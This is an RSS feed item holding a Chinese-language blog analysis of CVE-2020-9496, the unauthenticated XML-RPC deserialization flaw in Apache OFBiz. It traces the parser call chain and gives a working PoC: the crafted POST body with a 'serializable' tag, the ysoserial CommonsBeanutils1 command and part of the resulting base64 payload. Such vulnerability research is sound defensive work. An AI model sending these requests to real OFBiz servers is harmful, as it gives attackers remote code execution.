<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Security on 诗与胡说</title>
    <link>https://kylingit.com/categories/security/index.xml</link>
    <description>Recent content in Security on 诗与胡说</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>zh_cn</language>
    <copyright>Copyright © 2021 Kylinking</copyright>
    <atom:link href="https://kylingit.com/categories/security/index.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析</title>
      <link>https://kylingit.com/blog/cve-2020-9496-apache-ofbiz-xmlrpc-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Tue, 22 Sep 2020 11:17:46 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/cve-2020-9496-apache-ofbiz-xmlrpc-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h2 id=&#34;环境搭建&#34;&gt;环境搭建&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;下载：&lt;a href=&#34;https://downloads.apache.org/ofbiz/&#34;&gt;https://downloads.apache.org/ofbiz/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;安装：在主目录下执行：

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;.\gradle\init-gradle-wrapper.ps1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gradlew.bat&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;

&lt;h3 id=&#34;web路由&#34;&gt;Web路由&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!-- framework\webtools\webapp\webtools\WEB-INF\web.xml --&amp;gt;
&amp;lt;servlet&amp;gt;
    &amp;lt;description&amp;gt;Main Control Servlet&amp;lt;/description&amp;gt;
    &amp;lt;display-name&amp;gt;ControlServlet&amp;lt;/display-name&amp;gt;
    &amp;lt;servlet-name&amp;gt;ControlServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;servlet-class&amp;gt;org.apache.ofbiz.webapp.control.ControlServlet&amp;lt;/servlet-class&amp;gt;
    &amp;lt;load-on-startup&amp;gt;1&amp;lt;/load-on-startup&amp;gt;
&amp;lt;/servlet&amp;gt;
&amp;lt;servlet-mapping&amp;gt;
    &amp;lt;servlet-name&amp;gt;ControlServlet&amp;lt;/servlet-name&amp;gt;
    &amp;lt;url-pattern&amp;gt;/control/*&amp;lt;/url-pattern&amp;gt;
&amp;lt;/servlet-mapping&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;根据web.xml定义的&lt;code&gt;servlet&lt;/code&gt;，定位到&lt;code&gt;org.apache.ofbiz.webapp.control.ControlServlet&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;主要请求由&lt;code&gt;org.apache.ofbiz.webapp.control.RequestHandler#doRequest()&lt;/code&gt;处理&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921163908090.png&#34; alt=&#34;image-20200921163908090&#34; /&gt;&lt;/p&gt;

&lt;p&gt;首先根据请求的url获取路由信息，默认有216个url路径（17.12.03版本）&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921164034754.png&#34; alt=&#34;image-20200921164034754&#34; /&gt;&lt;/p&gt;

&lt;p&gt;之后会根据&lt;code&gt;requestMap.event&lt;/code&gt;信息去查找负责处理event的handler，之后再通过&lt;code&gt;invoke&lt;/code&gt;进行具体的调用，该过程由&lt;code&gt;org.apache.ofbiz.webapp.control.RequestHandler#runEvent()&lt;/code&gt;来完成&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921164204132.png&#34; alt=&#34;image-20200921164204132&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921164502998.png&#34; alt=&#34;image-20200921164502998&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;xml-rpc消息&#34;&gt;XML-RPC消息&lt;/h3&gt;

&lt;h4 id=&#34;xml-rpc数据类型&#34;&gt;XML-RPC数据类型&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;文档：&lt;a href=&#34;https://ws.apache.org/xmlrpc/types.html&#34;&gt;https://ws.apache.org/xmlrpc/types.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;根据文档，xmlrpc支持多种数据类型，对应的xml标签包括&lt;code&gt;base64&lt;/code&gt;、&lt;code&gt;struct&lt;/code&gt;、&lt;code&gt;array&lt;/code&gt;等&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921165252225.png&#34; alt=&#34;image-20200921165252225&#34; /&gt;&lt;/p&gt;

&lt;p&gt;下面是几种常见的数据类型&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!-- array --&amp;gt;
&amp;lt;value&amp;gt;
  &amp;lt;array&amp;gt;
    &amp;lt;data&amp;gt;
      &amp;lt;value&amp;gt;&amp;lt;int&amp;gt;7&amp;lt;/int&amp;gt;&amp;lt;/value&amp;gt;
    &amp;lt;/data&amp;gt;
  &amp;lt;/array&amp;gt;
&amp;lt;/value&amp;gt;


&amp;lt;!-- struct --&amp;gt;
&amp;lt;struct&amp;gt; 
  &amp;lt;member&amp;gt; 
    &amp;lt;name&amp;gt;foo&amp;lt;/name&amp;gt; 
    &amp;lt;value&amp;gt;bar&amp;lt;/value&amp;gt; 
  &amp;lt;/member&amp;gt; 
&amp;lt;/struct&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;xml-rpc消息格式&#34;&gt;XML-RPC消息格式&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;文档：&lt;a href=&#34;http://xmlrpc.com/spec.md&#34;&gt;http://xmlrpc.com/spec.md&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;每个XML-RPC请求都以&lt;code&gt;&amp;lt;methodCall&amp;gt;&amp;lt;/methodCall&amp;gt;&lt;/code&gt;开头，该元素包含单个子元素&lt;code&gt;&amp;lt;methodName&amp;gt;method&amp;lt;/methodName&amp;gt;&lt;/code&gt;，元素&lt;code&gt;&amp;lt;methodName&amp;gt;&lt;/code&gt;包含子元素&lt;code&gt;&amp;lt;params&amp;gt;&lt;/code&gt;，&lt;code&gt;&amp;lt;params&amp;gt;&lt;/code&gt;可以包含一个或多个&lt;code&gt;&amp;lt;param&amp;gt;&lt;/code&gt;元素。如：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;POST /RPC2 HTTP/1.0
User-Agent: Frontier/5.1.2 (WinNT)
Host: betty.userland.com
Content-Type: text/xml
Content-length: 181

&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;
&amp;lt;methodCall&amp;gt; 
  &amp;lt;methodName&amp;gt;examples.getStateName&amp;lt;/methodName&amp;gt;  
  &amp;lt;params&amp;gt; 
    &amp;lt;param&amp;gt; 
      &amp;lt;value&amp;gt;
        &amp;lt;i4&amp;gt;41&amp;lt;/i4&amp;gt;
      &amp;lt;/value&amp;gt; 
    &amp;lt;/param&amp;gt; 
  &amp;lt;/params&amp;gt; 
&amp;lt;/methodCall&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;漏洞分析&#34;&gt;漏洞分析&lt;/h2&gt;

&lt;p&gt;CVE-2020-9496&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;漏洞信息：&lt;a href=&#34;https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz&#34;&gt;https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;补丁：&lt;a href=&#34;https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a&#34;&gt;https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921164745933.png&#34; alt=&#34;image-20200921164745933&#34; /&gt;&lt;/p&gt;

&lt;p&gt;根据补丁发现&lt;code&gt;framework\webtools\webapp\webtools\WEB-INF\controller.xml&lt;/code&gt;中的&lt;code&gt;xmlrpc&lt;/code&gt;请求增加了&lt;code&gt;&amp;lt;security auth=&amp;quot;true&amp;quot;/&amp;gt;&lt;/code&gt;的认证，说明默认情况下该接口访问无需认证&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!-- framework\webtools\webapp\webtools\WEB-INF\controller.xml --&amp;gt;
&amp;lt;request-map uri=&amp;quot;xmlrpc&amp;quot; track-serverhit=&amp;quot;false&amp;quot; track-visit=&amp;quot;false&amp;quot;&amp;gt;
    &amp;lt;security https=&amp;quot;false&amp;quot;/&amp;gt;
    &amp;lt;event type=&amp;quot;xmlrpc&amp;quot;/&amp;gt;
    &amp;lt;response name=&amp;quot;error&amp;quot; type=&amp;quot;none&amp;quot;/&amp;gt;
    &amp;lt;response name=&amp;quot;success&amp;quot; type=&amp;quot;none&amp;quot;/&amp;gt;
&amp;lt;/request-map&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;调用方法&#34;&gt;调用方法&lt;/h3&gt;

&lt;p&gt;直接构造post请求发送&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;POST /webtools/control/xmlrpc HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 181

&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;methodCall&amp;gt;
  &amp;lt;methodName&amp;gt;testMethod&amp;lt;/methodName&amp;gt;
  &amp;lt;params&amp;gt;
    &amp;lt;param&amp;gt;
      &amp;lt;value&amp;gt;test&amp;lt;/value&amp;gt;
    &amp;lt;/param&amp;gt;
  &amp;lt;/params&amp;gt;
&amp;lt;/methodCall&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;发现报错&lt;code&gt;org.apache.xmlrpc.server.XmlRpcNoSuchHandlerException: No such service [testMethod]&lt;/code&gt;说明没有相关的方法&lt;/p&gt;

&lt;p&gt;下断点调试一下，由上面的&lt;code&gt;org.apache.ofbiz.webapp.event.XmlRpcEventHandler#invoke()&lt;/code&gt;进入&lt;code&gt;execute()&lt;/code&gt;，接着调用&lt;code&gt;org.apache.xmlrpc.server.XmlRpcServer#execute()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921171252973.png&#34; alt=&#34;image-20200921171252973&#34; /&gt;&lt;/p&gt;

&lt;p&gt;跟入&lt;code&gt;XmlRpcServer#execute()&lt;/code&gt;，发现调用了&lt;code&gt;org.apache.xmlrpc.server.XmlRpcServerWorker#execute()&lt;/code&gt;，由具体的event handler处理XML-RPC请求&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921171443304.png&#34; alt=&#34;image-20200921171443304&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;org.apache.ofbiz.webapp.event.XmlRpcEventHandler.ServiceRpcHandler#getHandler()&lt;/code&gt;中获取Handler对应的&lt;code&gt;ModelService&lt;/code&gt;，默认注册的service有3000多个，也就是可供调用的&lt;code&gt;methodName&lt;/code&gt;，如果找不到service会抛出&lt;code&gt;No such service&lt;/code&gt;的异常&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921171738522.png&#34; alt=&#34;image-20200921171738522&#34; /&gt;&lt;/p&gt;

&lt;p&gt;所以此处传入一个已注册的service&lt;/p&gt;

&lt;p&gt;回到&lt;code&gt;org.apache.xmlrpc.server.XmlRpcServerWorker#execute()&lt;/code&gt;，当成功查询到service后通过&lt;code&gt;handler.execute(pRequest)&lt;/code&gt;进行调用，注意此处还会检查一次&lt;code&gt;ModelService&lt;/code&gt;的&lt;code&gt;export&lt;/code&gt;属性，因此通过遍历serviceMap找到一个&lt;code&gt;export&lt;/code&gt;为&lt;code&gt;true&lt;/code&gt;的方法，如&lt;code&gt;ping&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921172937855.png&#34; alt=&#34;image-20200921172937855&#34; /&gt;&lt;/p&gt;

&lt;p&gt;继续构造请求（下面会解释为什么需要struct块）&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;methodCall&amp;gt;
  &amp;lt;methodName&amp;gt;ping&amp;lt;/methodName&amp;gt;
  &amp;lt;params&amp;gt;
    &amp;lt;param&amp;gt;
      &amp;lt;value&amp;gt;
        &amp;lt;struct&amp;gt;
          &amp;lt;member&amp;gt;
            &amp;lt;name&amp;gt;foo&amp;lt;/name&amp;gt;
            &amp;lt;value&amp;gt;aa&amp;lt;/value&amp;gt;
          &amp;lt;/member&amp;gt;
        &amp;lt;/struct&amp;gt;
      &amp;lt;/value&amp;gt;
    &amp;lt;/param&amp;gt;
  &amp;lt;/params&amp;gt;
&amp;lt;/methodCall&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;响应&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&amp;lt;methodResponse xmlns:ex=&amp;quot;http://ws.apache.org/xmlrpc/namespaces/extensions&amp;quot;&amp;gt;&amp;lt;params&amp;gt;&amp;lt;param&amp;gt;&amp;lt;value&amp;gt;&amp;lt;struct&amp;gt;&amp;lt;member&amp;gt;&amp;lt;name&amp;gt;message&amp;lt;/name&amp;gt;&amp;lt;value&amp;gt;PONG&amp;lt;/value&amp;gt;&amp;lt;/member&amp;gt;&amp;lt;/struct&amp;gt;&amp;lt;/value&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;/params&amp;gt;&amp;lt;/methodResponse&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;说明成功调用ping方法&lt;/p&gt;

&lt;h3 id=&#34;反序列化点&#34;&gt;反序列化点&lt;/h3&gt;

&lt;p&gt;在&lt;code&gt;Ofbiz&lt;/code&gt;自带的第三方库&lt;code&gt;xmlrpc-common-3.1.3.jar&lt;/code&gt;中的&lt;code&gt;org.apache.xmlrpc.parser.SerializableParser&lt;/code&gt;类能明显地看到对数据的还原操作，如果gadget到达此处能直接被反序列化而不会被过滤。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921180634383.png&#34; alt=&#34;image-20200921180634383&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;解析xml&#34;&gt;解析XML&lt;/h3&gt;

&lt;p&gt;回到&lt;code&gt;org.apache.ofbiz.webapp.control.RequestHandler#runEvent()&lt;/code&gt;方法，在其随后调用的链中，注意到&lt;code&gt;getRequest()&lt;/code&gt;方法&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;org.apache.ofbiz.webapp.control.RequestHandler.runEvent()
  org.apache.ofbiz.webapp.event.XmlRpcEventHandler.invoke()
    org.apache.ofbiz.webapp.event.XmlRpcEventHandler.execute()
      org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在getRequest()中，传入的xml数据由第三方库&lt;code&gt;xmlrpc-common.jar&lt;/code&gt;来进行解析（注意到此处做了XXE防护）&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921174933501.png&#34; alt=&#34;image-20200921174933501&#34; /&gt;&lt;/p&gt;

&lt;p&gt;该类的初始化由父类&lt;code&gt;org.apache.xmlrpc.parser.RecursiveTypeParserImpl&lt;/code&gt;完成，顾名思义就是递归解析，其他的便是常规的xml元素解析操作，包括&lt;code&gt;startElement()&lt;/code&gt;、&lt;code&gt;endElement()&lt;/code&gt;等。我们知道在解析器解析xml数据的过程中，会触发到&lt;code&gt;scanDocument()&lt;/code&gt;操作对元素进行逐一“扫描”，其中就会进行&lt;code&gt;startElement()&lt;/code&gt;、&lt;code&gt;endElement()&lt;/code&gt;的调用，这个过程如果处理不当就会引入问题。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921181123956.png&#34; alt=&#34;image-20200921181123956&#34; /&gt;&lt;/p&gt;

&lt;p&gt;注意到在&lt;code&gt;endElement()&lt;/code&gt;方法中对于&lt;code&gt;value&lt;/code&gt;标签的处理，同样由父类完成，跟入&lt;code&gt;org.apache.xmlrpc.parser.RecursiveTypeParserImpl#endValueTag()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921181252917.png&#34; alt=&#34;image-20200921181252917&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;endValueTag()&lt;/code&gt;调用了&lt;code&gt;getResult()&lt;/code&gt;方法，而这个方法就是上面提到的反序列化目标方法，那么接下来就是构造xml数据发送给&lt;code&gt;Ofbiz&lt;/code&gt;，如果&lt;code&gt;value&lt;/code&gt;的标签中存放的值为序列化数据，那么会由&lt;code&gt;SerializableParser&lt;/code&gt;类进行反序列化进而触发漏洞，调用链是这个样子的&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest()
  org.apache.xerces.parsers.AbstractSAXParser.parse()
    org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument()
      org.apache.xmlrpc.parser.XmlRpcRequestParser.endElement()
        org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endElement()
          org.apache.xmlrpc.parser.MapParser.endElement()
            org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endValueTag()
              org.apache.xmlrpc.parser.SerializableParser.getResult()
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;poc构造&#34;&gt;PoC构造&lt;/h3&gt;

&lt;p&gt;接下来的问题就是如何构造出特定的xml数据&lt;/p&gt;

&lt;p&gt;以上面的ping方法为例，假设post如下数据&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;methodCall&amp;gt;
  &amp;lt;methodName&amp;gt;ping&amp;lt;/methodName&amp;gt;
  &amp;lt;params&amp;gt;
    &amp;lt;param&amp;gt;
      &amp;lt;value&amp;gt;test&amp;lt;/value&amp;gt;
    &amp;lt;/param&amp;gt;
  &amp;lt;/params&amp;gt;
&amp;lt;/methodCall&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;Ofbiz&lt;/code&gt;成功解析到&lt;code&gt;endValueTag()&lt;/code&gt;方法，但是由于&lt;code&gt;typeParser&lt;/code&gt;属性为空，因此不会进入&lt;code&gt;getResult()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921183246986.png&#34; alt=&#34;image-20200921183246986&#34; /&gt;&lt;/p&gt;

&lt;p&gt;那么&lt;code&gt;typeParser&lt;/code&gt;属性是在哪里赋值的呢？&lt;/p&gt;

&lt;p&gt;回到&lt;code&gt;org.apache.xmlrpc.parser.XmlRpcRequestParser#startElement()&lt;/code&gt;，在解析器解析xml标签时，对4类标签（methodCall、params、param、value）有分别的处理，这个处理过程是随着每次遍历标签进行的，当扫描完4个必须提供的标签后，会调用父类的&lt;code&gt;startElement()&lt;/code&gt;进行处理，而typeParser就是在父类中完成赋值的，随后便通过不同的解析器进入不同的解析流程，还是会调用对应解析器的&lt;code&gt;startElement&lt;/code&gt;，这个过程是递归的&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921183456809.png&#34; alt=&#34;image-20200921183456809&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921183856009.png&#34; alt=&#34;image-20200921183856009&#34; /&gt;&lt;/p&gt;

&lt;p&gt;分析扫描标签的递增过程，发现此处除了4个标签外，还需在&lt;code&gt;&amp;lt;value&amp;gt;&lt;/code&gt;标签中含有额外的标签，才会进入default分支进而对&lt;code&gt;typeParser&lt;/code&gt;赋值，此时struct就是一个很好的选择，它能把数据作为一个结构体传入。&lt;/p&gt;

&lt;p&gt;接着思考如何传入序列化数据，也即如何控制后端通过&lt;code&gt;SerializableParser&lt;/code&gt;解析数据&lt;/p&gt;

&lt;p&gt;还是关注typeParser的赋值过程，这个属性就是最终将要处理不同类型数据的解析器，在&lt;code&gt;org.apache.xmlrpc.parser.RecursiveTypeParserImpl#startElement()&lt;/code&gt;中，注意到&lt;code&gt;factory.getParser()&lt;/code&gt;操作，将由&lt;code&gt;org.apache.xmlrpc.common.TypeFactoryImpl&lt;/code&gt;类获得不同数据类型的解析类，在其中就有获取&lt;code&gt;SerializableParser&lt;/code&gt;的过程&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921185008145.png&#34; alt=&#34;image-20200921185008145&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此只要传入&lt;code&gt;&amp;lt;serializable&amp;gt;&lt;/code&gt;标签便会由&lt;code&gt;SerializableParser&lt;/code&gt;进行解析。&lt;/p&gt;

&lt;p&gt;此时还有个前提条件，那就是标签属性必须带有&lt;code&gt;XmlRpcWriter.EXTENSIONS_URI&lt;/code&gt;才会进入后续的判断流程，因此post的数据是这样子的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;methodCall&amp;gt;
  &amp;lt;methodName&amp;gt;ping&amp;lt;/methodName&amp;gt;
  &amp;lt;params&amp;gt;
    &amp;lt;param&amp;gt;
      &amp;lt;value&amp;gt;
        &amp;lt;struct&amp;gt;
          &amp;lt;member&amp;gt;
            &amp;lt;name&amp;gt;foo&amp;lt;/name&amp;gt;
            &amp;lt;value&amp;gt;
              &amp;lt;serializable xmlns=&amp;quot;http://ws.apache.org/xmlrpc/namespaces/extensions&amp;quot;&amp;gt;serialized_data&amp;lt;/serializable&amp;gt;
            &amp;lt;/value&amp;gt;
          &amp;lt;/member&amp;gt;
        &amp;lt;/struct&amp;gt;
      &amp;lt;/value&amp;gt;
    &amp;lt;/param&amp;gt;
  &amp;lt;/params&amp;gt;
&amp;lt;/methodCall&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后一步，数据的格式&lt;/p&gt;

&lt;p&gt;在获取到&lt;code&gt;SerializableParser&lt;/code&gt;解析器后，startElement过程由父类&lt;code&gt;org.apache.xmlrpc.parser.ByteArrayParser#startElement()&lt;/code&gt;完成，在其中能看到base64的解码操作，所以最终的序列化数据是需要通过base64传输的&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200922105244816.png&#34; alt=&#34;image-20200922105244816&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;漏洞利用&#34;&gt;漏洞利用&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;Ofbiz&lt;/code&gt;中存在Commons-Beanutils库，所以使用ysoserial直接生成CommonsBeanutils1的payload&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt; java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 calc | base64 |tr -d &amp;quot;\n&amp;quot;
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZ...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;填充serialized_data并发送&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200921191012365.png&#34; alt=&#34;image-20200921191012365&#34; /&gt;&lt;/p&gt;

&lt;p&gt;调用链&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException
	at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:171) ~[commons-beanutils-1.9.3.jar:1.9.3]
	at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721) ~[?:1.8.0_141]
	at java.util.PriorityQueue.siftDown(PriorityQueue.java:687) ~[?:1.8.0_141]
	at java.util.PriorityQueue.heapify(PriorityQueue.java:736) ~[?:1.8.0_141]
	at java.util.PriorityQueue.readObject(PriorityQueue.java:795) ~[?:1.8.0_141]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_141]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_141]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_141]
	at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_141]
	at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2136) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2027) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1535) ~[?:1.8.0_141]
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422) ~[?:1.8.0_141]
	at org.apache.xmlrpc.parser.SerializableParser.getResult(SerializableParser.java:36) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endValueTag(RecursiveTypeParserImpl.java:78) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.MapParser.endElement(MapParser.java:185) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.RecursiveTypeParserImpl.endElement(RecursiveTypeParserImpl.java:103) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xmlrpc.parser.XmlRpcRequestParser.endElement(XmlRpcRequestParser.java:165) ~[xmlrpc-common-3.1.3.jar:3.1.3]
	at org.apache.xerces.parsers.AbstractSAXParser.endElement(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.impl.XMLNSDocumentScannerImpl.scanEndElement(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl$FragmentContentDispatcher.dispatch(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.XMLParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.xerces.jaxp.SAXParserImpl$JAXPSAXParser.parse(Unknown Source) ~[xercesImpl-2.9.1.jar:?]
	at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.getRequest(XmlRpcEventHandler.java:285) ~[ofbiz.jar:?]
	at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.execute(XmlRpcEventHandler.java:229) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.event.XmlRpcEventHandler.invoke(XmlRpcEventHandler.java:145) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.control.RequestHandler.runEvent(RequestHandler.java:741) [ofbiz.jar:?]
